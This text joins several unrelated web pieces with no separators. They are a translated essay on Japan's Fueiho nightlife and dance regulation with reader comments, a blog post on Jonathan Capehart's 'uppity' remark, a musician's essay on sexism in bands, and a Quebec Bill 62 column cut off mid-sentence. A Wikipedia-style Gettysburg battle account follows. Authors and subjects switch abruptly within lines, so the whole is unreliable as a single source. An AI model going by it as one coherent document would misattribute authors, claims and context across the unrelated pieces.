Also because the sex business has been forced into operating as ‘delivery health’, where prostitutes go to the customer’s desired location, crimes against them have become worse. Of course, in sex shops, it’s harder for customers to harm the women. The shop’s employees come to the rescue and the criminal will be caught. There were crimes amongst employees and owners being killed by his employees, but the prostitutes themselves rarely got killed by customers. The case in Yoshiwara a couple of years ago was an exception that may happen once in decades.
However, with delivery health, every year there are prostitutes getting killed and being harmed. There are probably a lot more that goes unreported. There are many small incidents that goes unreported to the police. It has become hard to even grasp what is going on. The risk for sex workers have become high. Everything has just become ‘invisible’.
Even so, the police are on a roll which started with the cleansing of Kabukicho, and what used to be the ‘gray zone’ are no longer free to operate. Strip clubs, ‘happening bars’ [swinger’s clubs] have been shut down for indecent exposure, and regulation against love hotels have become stricter according to Fueiho.
In the past few years, girls bar have also become a target. What is different now is that even if the women do not accompany a customer to a ‘seat’, it is seen as having entertained them. Even if the customer is at a counter table seat and if the girls play games or play the tambourine along to karaoke, now it is considered as entertainment and is subject to regulation by the Fueiho. Even playing word games become entertainment.
It’s hard to notice as in many widely reported cases there have been middle school and high school girls involved, but ‘entertainment’ across a counter table have become commonplace.
It is commonly believed that places with only counter tables are not considered as places for entertainment, but this is not true. The rule that even such places count as entertainment has been in place for half a century, put forward by the police, and it’s just that it hadn’t been enforced until now. However, since it has now come into place, ‘snack bars’ may become subject to regulation. Then, there will be no more Golden-Gai or Shinjuku Nichome.
It’s not a subject that is widely talked about, but many gay cruising spots have been shut down due to ‘indecent exposure’. This year, several gay bars and ‘New-half clubs’ (transgender bars) have also been raided. Until now, gay society had not been subject to regulation as it was considered that it does not affect the whole of society, but times have changed. We could say that gays and transgenders are now treated equally by the police.
The problem has profound roots. In Ryo Isobe’s book ‘Japan:The Country Where Dancing Is Banned’, sociologist Shinji Miyadai says that ‘new inhabitants’ that do not belong to traditional communities support this movement. They try to make unsightly things invisible, try to unburden their responsibility onto society and if there’s trouble, they call the police.
There’s no doubt that these ‘new inhabitants’ are making society a suffocating place, but if you think a bit, most city dwellers are ‘new inhabitants’. You can tell a lot by looking at those who use the internet. When they see something odd, they say ‘this gotta be illegal’ and they call the police. If there’s someone living above them in their mansion is making a lot of noise, they don’t go complain themselves or call the landlord, but directly call the police.
Until now, everything was sorted out by communication within the communities. People would try to work it out, by convincing others, adjusting, and compromising. When the ‘other’ is someone you know, people would be more accommodating. Now there is none of that.
In a society without communities, the only common ground becomes laws and people rely on the police to solve every problem. Then obviously, then police become more powerful.
Rise of such citizens combined with the growing passion within the police to cleanse out ‘problems’ have turned into such a movement. Whenever police does anything, often it is seen as it is in pursuit of concessions, but what has been happening in the past 10 years is not totally explainable by it.
My conclusion is that changing the law is the only way to go, but I don’t think that it’ll happen that easily. I think most club-goers will just go to bigger clubs where they can bypass the Fueiho and the Entertainment Facilities Act. That’s because there is no community amongst the club-goers either.
I’ve seen on Twitter that some people were tweeting ‘where should I go next?’ when their favourite club has been shut down. I think maybe that’s too flippant but people don’t really have a strong connection to the clubs themselves.
In the 60s and 70s there were communities where there was culture. Music, art, theater, small scale zines, there was community that rebelled against local and blood communities, and sometimes things got political.
I was talking to the musician Saeki Kenzo the other day, but by the 80s those communities completely disintegrated and fell into pieces. Saeki says that in the club culture, there was no community to begin with. Just people gathering in the same space by chance.
However, we cannot hope to restore such communities. Instead, through the internet, would we be able to create a sort of community that does not consist of real, raw human beings? Or maybe we can develop a collection of individuals such as the Occupy Wall Street Movement, or the anti-nuclear movement.
Such discussion rarely happens, but this problem is not just about one law that needs to be changed. That’s why it’s difficult. That’s why it’s also interesting.
Comments from Naver Matome:
okome_terauchi:
Forbidding dancing in clubs? Isn’t it the same as forbidding peeing in toilets?
PremiumCuts:
They teach us how to dance in compulsory education and when we grow up, they take away places to dance. I don’t get how this country works.
matyukun:
Clubs making customers dance? That’s such a misleading way to put it. Clubs don’t force customers to dance. When customers feel good, they just move their bodies. What crime is dancing? Don’t the police have better things to do?
powwow:
Would we be seeing headlines like “8 towns people were arrested for making a dance space in an empty lot and made 20 customers dance Bon-odori”? Off course not. Then where’s the line between what’s okay and what’s not?
Shing02:
Dance regulations at clubs is on the same level as not allowing tattoos at hot springs. It’s not the tattoos or dancing itself that’s the problem, they’re just trying to shut out certain types of people. I’m against both, what we should protect is not antiquated rules but our own generations’ culture.
maxi:
Laws that don’t match the times need to be amended. (US constitution has an amendment clause). It’s stupid to try and regulate adult culture as it keeps changing. Perhaps it’s the right time to lobby.
lejewo:
I think this problem needs to be addressed by those that own the clubs. Not asking to allow them to operate under the current law but for them to make a new law that’s not about adult entertainment or restaurants. It’s obvious they must obey the law for restaurants if they operate as restaurants.
kana:
Right now I don’t even want to read the word Fueiho but I can see the light at the end of the tunnel. Before, dance classes and billiard places were included in the Fueiho, but do you know that they’ve been taken off because of some dance and billiard lovers worked for it? I think it’ll be difficult unless the club scene comes out clean but I think there’s hope.
Comments from 2ch.net:
名無しさん＠１２周年:
Dance is an act of courting.
So basically clubs are like orgies.
Of course it should be regulated as it’s a place where drugs are used.
名無しさん＠１２周年[sage]:
What if dance is taken off Fueiho?
Will dance culture flourish?
Should we leave those that dance and make noise outside deep into the night? Just asking to have dance taken off the law isn’t convincing.
名無しさん＠１２周年:
There’s lots of clubs that become drug havens. If it is corrected then it’s fine but since underage people go there, there needs to be regulation.
名無しさん＠１２周年
It doesn’t make sense to say okay to Karaoke boxes that operates late and say no to clubs. They should regulate karaoke boxes too.
名無しさん＠１２周年
No, it’s because there’s less crime.
The police want to keep their jobs so they’re scoring points where people are less likely to complain.
People on 2chan are acting as the big government and saying it should be regulated. That’s how it is, like many other things.
Comments from Blogos.com:
yahoo user 3a9b9:
Forcing children to dance hip hop at school and saying where people dance hip hop is a bad place, yes, it doesn’t make sense.
aBrEt4mamw:
It’s not surprising that police decide that clubs are a hotbed for crime activity and decided to regulate it.
tune21:
There are clubs where there is a lot of drugs.
I think that clubs should be taken off Fueiho only if they can ensure that there are no drugs and no alcohol is consumed by underage youth. Allowing them to operate past midnight makes me think it’ll increase drug activity.
spin:
There is no reason to regulate dancing. Dance is healthy. It’s obvious the current Fueiho has a problem.
退会者:
Idiots.
Nobody’s saying dance is illegal.
Nor is anybody saying dance is not art.
It’s just that laws are required when it becomes a business and when people want to gather money and people for it.
Would you claim “cooking is legal, cooking is art” and be able to open a restaurant without getting a permit from the health authorities?
t n k:
People saying dance is illegal must have experienced the go-go bars in Thailand.
What do you think? Have you been in a Japanese nightclub where dancing is prohibited?I'm not even going to try and paraphrase since I was half asleep, but Jonathan Capehart just now on Morning Joe used the word "Uppity" about Obama and an anonymous quote referenced in the Washington Post. The idiot even prefaced it by saying he was braced for the nasty emails he was going to recieve. An anonymous quote can get one black man to call another "uppity"? Um, I'm not up on the rules on this, but I'm thinking this is way over the line. I'm looking for the vid.
So, if a black man has called Obama uppity, then it's okay for everyone else to do it now, right?
Seems someone was more awake than me. He gets the quote, and also has a very good diary on this whole thing.
Johnathan Capehart literally just said he's "bumping up against that uppity line" on TV.
****UPDDATE- MJ just got an email apparently from someone who was at the meeting where the anon quote came from, and the context makes all the difference. Bummer Milbank couldn't have done his homework and gotten it right.UPDATE AGAIN- Here's Mr Capehart's view-Nandi Rose Plunkett is a vocalist and keyboardist in the indie rock band Pinegrove. She's also the singer and multi-instrumentalist behind the synth-pop project Half Waif.
I have been making music my whole life. "You came out singing!" my folks swear, even with the umbilical chord wrapped around my neck. Music gave shape to my world and meaning to my life when I was still just a shadow unblurring into identity. I made up songs about everything around me: my Beanie Babies, the pie I was eating, the day my grandmother visited and the day she went away.
Struck by the Girl Power bug in 1998, I started a band with my best girl friends, and we sang un-ironically about fashion and Ancient Egypt. I will forever be grateful for the way music has intersected with my existence and held me close, how it has given me the lines in which I can color my days. Left alone in a room with music, I am in ecstasy, I am in battle, I am brutal and fragile and unafraid. I look at my life in the eyes, teeth bared and smiling.
But when the room opens, the world is let in, and with it comes the noise. I am no longer just a being breathed alive by music—I am a girl set on a stage to prove she is worthy of it.
It is a tiresome prospect, to have to keep defending my passion and career against the onslaught of some inconceivable prejudice. I feel caught, against my will, in some idiotic pantomime of no progress. No, I am not someone's girlfriend trying to sneak back into the green room before a show. Yes, I understand how my own gear works and have, in fact, built up the muscles to carry it. Don't turn down my vocals in the mix. Don't ignore me when you high-five my bandmates one by one. And don't call me "The Girl." You would never say, "Does the boy need help setting up his rig?" You wouldn't ask a man if he needs help, and you wouldn't call a 28-year-old man a boy—and no one would know which boy you mean because everyone else on stage is likely a man anyway. So why do those words seem acceptable to you when they are aimed at me?
I keep coming back to that one little line of text in the comments section, dark and sharp as a spear: "The girl is beautiful and has a nice voice, but she doesn't do anything for the band." What terrified me then, as it does now, was that this anonymous (male) voice on the internet somehow verbalized the exact fear that I carry around with me all the time: that I'm not enough. That no matter how many instruments I play—and how well I play them—I will never be seen as anything other than a silly girl: so cute for trying, but ultimately a useless prop beside the real musicians.
It is a tiresome prospect, to have to keep defending my passion and career against the onslaught of some inconceivable prejudice.
"The girl is unnecessary and annoying" the comment reads, a sneer. Get out of the way, girl. That voice, translated into hard text, is suddenly made real. A human mind has seen me and turned away. It doesn't matter if it's a troll or a bot or a will-o'-the-wisp: This specter gives shape to the deeply haunting reality that female-identifying individuals are confronted with every day.
You may say, "It is surprising to me that you receive such sexist comments in this advanced year of 2017!" And I would say, "I am not surprised, because it happens all the time." I am sad because I do not want to focus my energies on this. And I am mad because it is a waste of my time, and it is a waste of the minds that fail to see why calling a woman "The Girl" is problematic—why calling her beautiful while negating her actions is putting a finger in the wound of this world.
Maybe we aren't speaking up enough about this. If people are surprised that this behavior exists, I think it's possible we aren't being vocal enough, getting angry and loud as much as we should. But perhaps we are exhausted by the sheer volume of these comments we receive. We don't want to have to post to Twitter or tell our friends every time it happens. Perhaps we don't want to draw attention to ourselves, for fear of being mocked. Perhaps we worry we won't be believed. Sometimes we silence ourselves in order not to be silenced by others.
Carly Hoskins
And even when we do want to speak up, there's the pitted terrain of sexist linguistics to navigate. Sometimes a comment or an action isn't overtly sexist, which makes it hard to explain to others why we feel upset. So we are forced to be sleuths, decoding the slippery nuances of a language that belittles us and offers no obvious translation. There may be times when we give people the benefit of the doubt—"I'm sure they didn't mean it that way." But when our skin goes cold and tingly, and we start feeling fidgety and self-conscious, our sensors are attuned to something darker lurking beneath the surface of an otherwise benign interaction. And we know that we have been wronged, though we often don't know why.
Armed with a feeling but no concrete proof, we stay silent. We are reluctant detectives uncovering the evidence of an invisible injustice.
But we need to speak up and keep going: coat the walls of the world with our words and stare the monster in the face. We need to let ourselves get angry, amplify our rage. Share our stories 'til there's no more ignoring them. Give male allies a chance to understand and join our fight. Lay bare the insidious situations until we decode the coded language. Upturn every stone under which anonymous trolls lurk, throwing sunlight in their eyes until they see us as we are.
And when we want to be sad, be sad.
And when we want to be hungry, be hungry.
And when we want to be loud, be loud.
For too long we have been told what a woman should and shouldn't be. I want it all, to embody the multitudes of possibility. And at the end of the day, I want to sit inside my room and dance with the task of knowing myself. After all, I'm just a being who loves music, looking to turn down the rest of the noise.Before we begin: Look, I’m one of the good anglos, the ones who’ve lived in Quebec (largely in French) (and enjoyed it), understand at least some of its distinct ways and can recite at least some of the catechism by heart. In this July column I walked readers through the Quiet Revolution and its revolt against the dominance of the Roman Catholic church, to help explain why attitudes toward so-called ostentatious religious signs are often different there. “The Quiet Revolution in Quebec was specifically a rebellion against religious influence,” I wrote then. “Progressive politics in many other parts of the country has been a politics of generalized tolerance; in Quebec progressive politics was often a politics of specific resistance.”
That column won respectful comments from many in Quebec and a long Reddit thread of the imagine-finding-something-so-reasonable-in-Maclean’s-of-all-places variety, along with heaps of scorn from some anglophone colleagues. Chris Selley at the National Post is still subtweeting.
Anyway, having thus re-established my credentials, I’m here to tell you that Bill 62, the so-called “Act to foster adherence to State religious neutrality,” is a ludicrous claptrap that the government of Philippe Couillard should withdraw before it collapses in court under the weight of its own absurdity. Here’s why.
The bill ostracizes behaviour that isn’t religious. Obviously inspired, or provoked, by the face coverings worn by a tiny number of women in Quebec who profess the Muslim faith, the bill hasn’t the guts to say, “Muslim women shouldn’t cover their face.” So it says instead that nobody may cover their face. “Personnel members of bodies must exercise their functions with their face uncovered, unless they have to cover their face, in particular because of their working conditions or because of occupational or task-related requirements,” the bill says. “Similarly, persons receiving services from such personnel members must have their face uncovered.”
This means, as we’ve seen, that if you cover your face for any reason except workplace safety, you can’t do work for the Quebec government—or receive its services—for the duration of the covering. The justice minister, Stéphanie Vallée, has said that this extends to sunglasses. Surely scarves, ski hats and beards are a no-no too. All of which is odd, because this is supposed to be about religious neutrality—it |
played no direct tactical role on the first day.[49]
General Lee understood the defensive potential to the Union if they held this high ground. He sent orders to Ewell that Cemetery Hill be taken "if practicable." Ewell, who had previously served under Stonewall Jackson, a general well known for issuing peremptory orders, determined such an assault was not practicable and, thus, did not attempt it; this decision is considered by historians to be a great missed opportunity.[50]
The first day at Gettysburg, more significant than simply a prelude to the bloody second and third days, ranks as the 23rd biggest battle of the war by number of troops engaged. About one quarter of Meade's army (22,000 men) and one third of Lee's army (27,000) were engaged.[51]
Second day of battle
Plans and movement to battle
Throughout the evening of July 1 and morning of July 2, most of the remaining infantry of both armies arrived on the field, including the Union II, III, V, VI, and XII Corps. Two of Longstreet's brigades were on the road: Brig. Gen. George Pickett, had begun the 22 mile (35 km) march from Chambersburg, while Brig. Gen. E. M. Law had begun the march from Guilford. Both arrived late in the morning. Law completed his 28-mile (45 km) march in eleven hours.[52]
The Union line ran from Culp's Hill southeast of the town, northwest to Cemetery Hill just south of town, then south for nearly two miles (3 km) along Cemetery Ridge, terminating just north of Little Round Top. Most of the XII Corps was on Culp's Hill; the remnants of I and XI Corps defended Cemetery Hill; II Corps covered most of the northern half of Cemetery Ridge; and III Corps was ordered to take up a position to its flank. The shape of the Union line is popularly described as a "fishhook" formation.
The Confederate line paralleled the Union line about a mile (1,600 m) to the west on Seminary Ridge, ran east through the town, then curved southeast to a point opposite Culp's Hill. Thus, the Union army had interior lines, while the Confederate line was nearly five miles (8 km) long.[53]
Lee's battle plan for July 2 called for a general assault of Meade's positions. On the right, Longstreet's First Corps was to position itself to attack the Union left flank, facing northeast astraddle the Emmitsburg Road, and to roll up the U.S.line. The attack sequence was to begin with Maj. Gens. John Bell Hood's and Lafayette McLaws's divisions, followed by Maj. Gen. Richard H. Anderson's division of Hill's Third Corps.[54]
On the left, Lee instructed Ewell to position his Second Corps to attack Culp's Hill and Cemetery Hill when he heard the gunfire from Longstreet's assault, preventing Meade from shifting troops to bolster his left. Though it does not appear in either his or Lee's Official Report, Ewell claimed years later that Lee had changed the order to simultaneously attack, calling for only a "diversion", to be turned into a full-scale attack if a favorable opportunity presented itself.[55][56]
Lee's plan, however, was based on faulty intelligence, exacerbated by Stuart's continued absence from the battlefield. Though Lee personally reconnoitered his left during the morning, he did not visit Longstreet's position on the Confederate right. Even so, Lee rejected suggestions that Longstreet move beyond Meade's left and attack the Union flank, capturing the supply trains and effectively blocking Meade's escape route.[57]
Lee did not issue orders for the attack until 11:00 a.m.[58] About noon, General Anderson's advancing troops were discovered by General Sickles' outpost guard and the Third Corps–upon which Longstreet's First Corps was to form–did not get into position until 1:00 p.m.[59]
Hood and McLaws, after their long march, were not yet in position and did not launch their attacks until just after 4 p.m. and 5 p.m., respectively.[60]
Attacks on the Union left flank
Overview map of the second day of the Battle of Gettysburg, July 2, 1863
As Longstreet's left division, under Maj. Gen. Lafayette McLaws, advanced, they unexpectedly found Maj. Gen. Daniel Sickles's III Corps directly in their path. Sickles had been dissatisfied with the position assigned him on the southern end of Cemetery Ridge. Seeing ground better suited for artillery positions a half mile (800 m) to the west— centered at the Sherfy farm's Peach Orchard—he violated orders and advanced his corp to the slightly higher ground along the Emmitsburg Road, moving away from Cemetery Ridge. The new line ran from Devil's Den, northwest to the Peach Orchard, then northeast along the Emmitsburg Road to south of the Codori farm. This created an untenable salient at the Peach Orchard; Brig. Gen. Andrew A. Humphreys's division (in position along the Emmitsburg Road) and Maj. Gen. David B. Birney's division (to the south) were subject to attacks from two sides and were spread out over a longer front than their small corps could defend effectively.[61] The Confederate artillery was ordered to open fire at 3:00 p.m.[62] After failing to attend a meeting at this time of Meade's corps commanders, Meade rode to Sickles' position and demanded an explanation of the situation. Knowing a Confederate attack was imminent and a retreat would be endangered, Meade refused Sickles' offer to withdraw.[63]
Meade was forced to send 20,000 reinforcements:[64] the entire V Corps, Brig. Gen. John C. Caldwell's division of the II Corps, most of the XII Corps, and portions of the newly arrived VI Corps. Hood's division moved more to the east than intended, losing its alignment with the Emmitsburg Road,[65] attacking Devil's Den and Little Round Top. McLaws, coming in on Hood's left, drove multiple attacks into the thinly stretched III Corps in the Wheatfield and overwhelmed them in Sherfy's Peach Orchard. McLaws's attack eventually reached Plum Run Valley (the "Valley of Death") before being beaten back by the Pennsylvania Reserves division of the V Corps, moving down from Little Round Top. The III Corps was virtually destroyed as a combat unit in this battle, and Sickles's leg was amputated after it was shattered by a cannonball. Caldwell's division was destroyed piecemeal in the Wheatfield. Anderson's division, coming from McLaws's left and starting forward around 6 p.m., reached the crest of Cemetery Ridge, but could not hold the position in the face of counterattacks from the II Corps, including an almost suicidal bayonet charge by the 1st Minnesota regiment against a Confederate brigade, ordered in desperation by Hancock to buy time for reinforcements to arrive.[66]
As fighting raged in the Wheatfield and Devil's Den, Col. Strong Vincent of V Corps had a precarious hold on Little Round Top, an important hill at the extreme left of the Union line. His brigade of four relatively small regiments was able to resist repeated assaults by Brig. Gen. Evander M. Law's brigade of Hood's division. Meade's chief engineer, Brig. Gen. Gouverneur K. Warren, had realized the importance of this position, and dispatched Vincent's brigade, an artillery battery, and the 140th New York to occupy Little Round Top mere minutes before Hood's troops arrived. The defense of Little Round Top with a bayonet charge by the 20th Maine, ordered by Col. Joshua L. Chamberlain but possibly led by Lt. Holman S. Melcher, was one of the most fabled episodes in the Civil War and propelled Col. Chamberlain into prominence after the war.[67][68]
Attacks on the Union right flank
Ewell interpreted his orders as calling only for a cannonade.[56] His 32 guns, along with A. P. Hill's 55 guns, engaged in a two-hour artillery barrage at extreme range that had little effect. Finally, about six o'clock, Ewell sent orders to each of his division commanders to attack the Union lines in his front.
Maj. Gen. Edward "Allegheny" Johnson's Division "had not been pushed close to [Culp's Hill] in preparation for an assault, although one had been contemplated all day. It now had a full mile (1,600 m) to advance and Rock Creek had to be crossed. This could only be done at few places and involved much delay. Only three of Johnson's four brigades moved to the attack." [69] Most of the hill's defenders, the Union XII Corps, had been sent to the left to defend against Longstreet's attacks, leaving only a brigade of New Yorkers under Brig. Gen. George S. Greene behind strong, newly constructed defensive works. With reinforcements from the I and XI Corps, Greene's men held off the Confederate attackers, though giving up some of the lower earthworks on the lower part of Culp's Hill.[70]
Early was similarly unprepared when he ordered Harry T. Hays' and Isaac E. Avery's Brigades to attack the Union XI Corps positions on East Cemetery Hill. Once started, fighting was fierce: Col. Andrew L. Harris of the Union 2nd Brigade, 1st Division, came under a withering attack, losing half his men. Avery was wounded early on, but the Confederates reached the crest of the hill and entered the Union breastworks, capturing one or two batteries. Seeing he was not supported on his right, Hays withdrew. His right was to be supported by Robert E. Rodes' Division, but Rodes—like Early and Johnson—had not been ordered up in preparation for the attack. He had twice as far to travel as Early; by the time he came in contact with the Union skirmish line, Early's troops had already begun to withdraw.[71]
Jeb Stuart and his three cavalry brigades arrived in Gettysburg around noon but had no role in the second day's battle. Brig. Gen. Wade Hampton's brigade fought a minor engagement with newly promoted 23-year-old Brig. Gen. George Armstrong Custer's Michigan cavalry near Hunterstown to the northeast of Gettysburg.[72]
Third day of battle
Overview map of the third day of the Battle of Gettysburg, July 3, 1863
Lee's plan
General Lee wished to renew the attack on Friday, July 3, using the same basic plan as the previous day: Longstreet would attack the U.S. left, while Ewell attacked Culp's Hill.[73] However, before Longstreet was ready, Union XII Corps troops started a dawn artillery bombardment against the Confederates on Culp's Hill in an effort to regain a portion of their lost works. The Confederates attacked, and the second fight for Culp's Hill ended around 11 a.m. Harry Pfanz judged that, after some seven hours of bitter combat, "the Union line was intact and held more strongly than before."[74]
Lee was forced to change his plans. Longstreet would command Pickett's Virginia division of his own First Corps, plus six brigades from Hill's Corps, in an attack on the U.S. II Corps position at the right center of the Union line on Cemetery Ridge. Prior to the attack, all the artillery the Confederacy could bring to bear on the U.S. positions would bombard and weaken the enemy's line.[75]
Much has been made over the years of General Longstreet's objections to General Lee's plan. In his memoirs, Longstreet described their discussion as follows:
[Lee] rode over after sunrise and gave his orders. His plan was to assault the enemy's left centre by a column to be composed of McLaws's and Hood's divisions reinforced by Pickett's brigades. I thought that it would not do; that the point had been fully tested the day before, by more men, when all were fresh; that the enemy was there looking for us, as we heard him during the night putting up his defences; that the divisions of McLaws and Hood were holding a mile [1,600 m] along the right of my line against twenty thousand men, who would follow their withdrawal, strike the flank of the assaulting column, crush it, and get on our rear towards the Potomac River; that thirty thousand men was the minimum of force necessary for the work; that even such force would need close co-operation on other parts of the line; that the column as he proposed to organize it would have only about thirteen thousand men (the divisions having lost a third of their numbers the day before); that the column would have to march a mile [1,600 m] under concentrating battery fire, and a thousand yards [900 m] under long-range musketry; that the conditions were different from those in the days of Napoleon, when field batteries had a range of six hundred yards [550 m] and musketry about sixty yards [55 m]. He said the distance was not more than fourteen hundred yards [1280 m]. General Meade's estimate was a mile or a mile and a half [1.6 or 2.4 km] (Captain Long, the guide of the field of Gettysburg in 1888, stated that it was a trifle over a mile). He then concluded that the divisions of McLaws and Hood could remain on the defensive line; that he would reinforce by divisions of the Third Corps and Pickett's brigades, and stated the point to which the march should be directed. I asked the strength of the column. He stated fifteen thousand. Opinion was then expressed that the fifteen thousand men who could make successful assault over that field had never been arrayed for battle; but he was impatient of listening, and tired of talking, and nothing was left but to proceed.[76]
The "High Water Mark" on Cemetery Ridge as it appears today. The monument to the 72nd Pennsylvania Volunteer Infantry Regiment ("Baxter's Philadelphia Fire Zouaves") appears at right, the Copse of Trees to the left.
The largest artillery bombardment of the war
Around 1 p.m., from 150 to 170 Confederate guns began an artillery bombardment that was probably the largest of the war. In order to save valuable ammunition for the infantry attack that they knew would follow, the Army of the Potomac's artillery, under the command of Brig. Gen. Henry Jackson Hunt, at first did not return the enemy's fire. After waiting about 15 minutes, about 80 U.S. cannons added to the din. The Army of Northern Virginia was critically low on artillery ammunition, and the cannonade did not significantly affect the Union position.[77]
Pickett's Charge
Around 3 p.m., the cannon fire subsided, and 12,500 Southern soldiers stepped from the ridgeline and advanced the three-quarters of a mile (1,200 m) to Cemetery Ridge in what is known to history as "Pickett's Charge". As the Confederates approached, there was fierce flanking artillery fire from Union positions on Cemetery Hill and north of Little Round Top, and musket and canister fire from Hancock's II Corps. In the Union center, the commander of artillery had held fire during the Confederate bombardment (in order to save it for the infantry assault, which Meade had correctly predicted the day before), leading Southern commanders to believe the Northern cannon batteries had been knocked out. However, they opened fire on the Confederate infantry during their approach with devastating results. Nearly one half of the attackers did not return to their own lines.
Although the U.S. line wavered and broke temporarily at a jog called the "Angle" in a low stone fence, just north of a patch of vegetation called the Copse of Trees, reinforcements rushed into the breach, and the Confederate attack was repulsed. The farthest advance of Brig. Gen. Lewis A. Armistead's brigade of Maj. Gen. George Pickett's division at the Angle is referred to as the "High-water mark of the Confederacy", arguably representing the closest the South ever came to its goal of achieving independence from the Union via military victory.[78] Union and Confederate soldiers locked in hand-to-hand combat, attacking with their rifles, bayonets, rocks and even their bare hands. Armistead ordered his Confederates to turn two captured cannons against Union troops, but discovered that there was no ammunition left, the last double canister shots having been used against the charging Confederates. Armistead was wounded shortly afterward three times.
Cavalry battles
There were two significant cavalry engagements on July 3. Stuart was sent to guard the Confederate left flank and was to be prepared to exploit any success the infantry might achieve on Cemetery Hill by flanking the U.S. right and hitting their trains and lines of communications. Three miles (5 km) east of Gettysburg, in what is now called "East Cavalry Field" (not shown on the accompanying map, but between the York and Hanover Roads), Stuart's forces collided with U.S. cavalry: Brig. Gen. David McMurtrie Gregg's division and Brig. Gen. Custer's brigade. A lengthy mounted battle, including hand-to-hand sabre combat, ensued. Custer's charge, leading the 1st Michigan Cavalry, blunted the attack by Wade Hampton's brigade, blocking Stuart from achieving his objectives in the U.S. rear.
Meanwhile, after hearing news of the day's victory, Brig. Gen. Judson Kilpatrick launched a cavalry attack against the infantry positions of Longstreet's Corps southwest of Big Round Top. Brig. Gen. Elon J. Farnsworth protested against the futility of such a move, but obeyed orders. Farnsworth was killed in the attack, and his brigade suffered significant losses.[79]
Aftermath
Casualties
"The Harvest of Death": Union dead on the battlefield at Gettysburg, Pennsylvania, photographed July 5 or July 6, 1863, by Timothy H. O'Sullivan
The two armies suffered between 46,000 and 51,000 casualties. Union casualties were 23,055 (3,155 killed, 14,531 wounded, 5,369 captured or missing),[8] while Confederate casualties are more difficult to estimate. Many authors have referred to as many as 28,000 Confederate casualties,[80] and Busey and Martin's more recent 2005 work, Regimental Strengths and Losses at Gettysburg, documents 23,231 (4,708 killed, 12,693 wounded, 5,830 captured or missing).[9] Nearly a third of Lee's general officers were killed, wounded, or captured.[81] The casualties for both sides during the entire campaign were 57,225.[82]
In addition to being the deadliest battle of the war in terms of total casualties, Gettysburg also had the highest number of generals killed in action of any battle in the war. The Confederacy lost generals Paul Jones Semmes, William Barksdale, William Dorsey Pender, Richard Garnett, and Lewis Armistead, as well as J. Johnston Pettigrew during the retreat after the battle. The Union lost Generals John Reynolds, Samuel K. Zook, Stephen H. Weed, and Elon J. Farnsworth, as well as Strong Vincent, who after being mortally wounded was given a deathbed promotion to brigadier general. Additional senior officer casualties included the wounding of Union Generals Dan Sickles (lost a leg), Francis C. Barlow, and Winfield Scott Hancock. For the Confederacy, Major General John Bell Hood lost the use of his left arm, while Major General Henry Heth received a shot to the head on the first day of battle (though incapacitated for the rest of the battle, he remarkably survived without long term injuries, credited in part due to his hat stuffed full of paper dispatches). Confederate Generals James Kemper and Isaac R. Trimble were severely wounded during Pickett's charge and captured during the Confederate retreat. General James J. Archer, in command of a brigade that most likely was responsible for killing Reynolds, was taken prisoner shortly after Reynolds' death.
The following tables summarize casualties by corps for the Union and Confederate forces during the three-day battle.[83]
Union Corps Casualties (k/w/m) I Corps 6059 (666/3231/2162) II Corps 4369 (797/3194/378) III Corps 4211 (593/3029/589) V Corps 2187 (365/1611/211) VI Corps 242 (27/185/30) XI Corps 3807 (369/1924/1514) XII Corps 1082 (204/812/66) Cavalry Corps 852 (91/354/407) Artillery Reserve 242 (43/187/12)
Confederate Corps Casualties (k/w/m) First Corps 7665 (1617/4205/1843) Second Corps 6686 (1301/3629/1756) Third Corps 8495 (1724/4683/2088) Cavalry Corps 380 (66/174/140)
Bruce Catton wrote, "The town of Gettysburg looked as if some universal moving day had been interrupted by catastrophe."[84] But there was only one documented civilian death during the battle: Ginnie Wade (also widely known as Jennie), 20 years old, was hit by a stray bullet that passed through her kitchen in town while she was making bread.[85] Another notable civilian casualty was John L. Burns, a 69-year old veteran of the War of 1812 who walked to the front lines on the first day of battle and participated in heavy combat as a volunteer, receiving numerous wounds in the process. Despite his age and injuries, Burns survived the battle and lived until 1872.[86] Nearly 8,000 had been killed outright; these bodies, lying in the hot summer sun, needed to be buried quickly. Over 3,000 horse carcasses[87] were burned in a series of piles south of town; townsfolk became violently ill from the stench.[88] Meanwhile, the town of Gettysburg, with its population of just 2,400, found itself tasked with taking care of 14,000 wounded Union troops and an additional 8,000 Confederate prisoners.[89]
Confederate retreat
Gettysburg Campaign (July 5 – July 14, 1863)
The armies stared at one another in a heavy rain across the bloody fields on July 4, the same day that, some 900 miles (1,500 km) away, the Vicksburg garrison surrendered to Maj. Gen. Ulysses S. Grant. Lee had reformed his lines into a defensive position on Seminary Ridge the night of July 3, evacuating the town of Gettysburg. The Confederates remained on the battlefield, hoping that Meade would attack, but the cautious Union commander decided against the risk, a decision for which he would later be criticized. Both armies began to collect their remaining wounded and bury some of the dead. A proposal by Lee for a prisoner exchange was rejected by Meade.[90]
Lee started his Army of Northern Virginia in motion late the evening of July 4 towards Fairfield and Chambersburg. Cavalry under Brig. Gen. John D. Imboden was entrusted to escort the miles-long wagon train of supplies and wounded men that Lee wanted to take back to Virginia with him, using the route through Cashtown and Hagerstown to Williamsport, Maryland. Meade's army followed, although the pursuit was half-spirited. The recently rain-swollen Potomac trapped Lee's army on the north bank of the river for a time, but when the Union troops finally caught up, the Confederates had forded the river. The rear-guard action at Falling Waters on July 14 added some more names to the long casualty lists, including General Pettigrew, who was mortally wounded.[91] General James Kemper, severely wounded during Pickett's charge, was captured during Lee's retreat.
In a brief letter to Maj. Gen. Henry W. Halleck written on July 7, Lincoln remarked on the two major Union victories at Gettysburg and Vicksburg. He continued:
Now, if Gen. Meade can complete his work so gloriously prosecuted thus far, by the literal or substantial destruction of Lee's army, the rebellion will be over.[92]
Halleck then relayed the contents of Lincoln's letter to Meade in a telegram. Despite repeated pleas from Lincoln and Halleck, which continued over the next week, Meade did not pursue Lee's army aggressively enough to destroy it before it crossed back over the Potomac River to safety in the South. The campaign continued into Virginia with light engagements until July 23, in the minor Battle of Manassas Gap, after which Meade abandoned any attempts at pursuit and the two armies took up positions across from each other on the Rappahannock River.[93]
Union reaction to the news of the victory
The news of the Union victory electrified the North. A headline in The Philadelphia Inquirer proclaimed "VICTORY! WATERLOO ECLIPSED!" New York diarist George Templeton Strong wrote:[94]
The results of this victory are priceless.... The charm of Robert E. Lee's invincibility is broken. The Army of the Potomac has at last found a general that can handle it, and has stood nobly up to its terrible work in spite of its long disheartening list of hard-fought failures.... Copperheads are palsied and dumb for the moment at least.... Government is strengthened four-fold at home and abroad. — George Templeton Strong, Diary, p. 330.
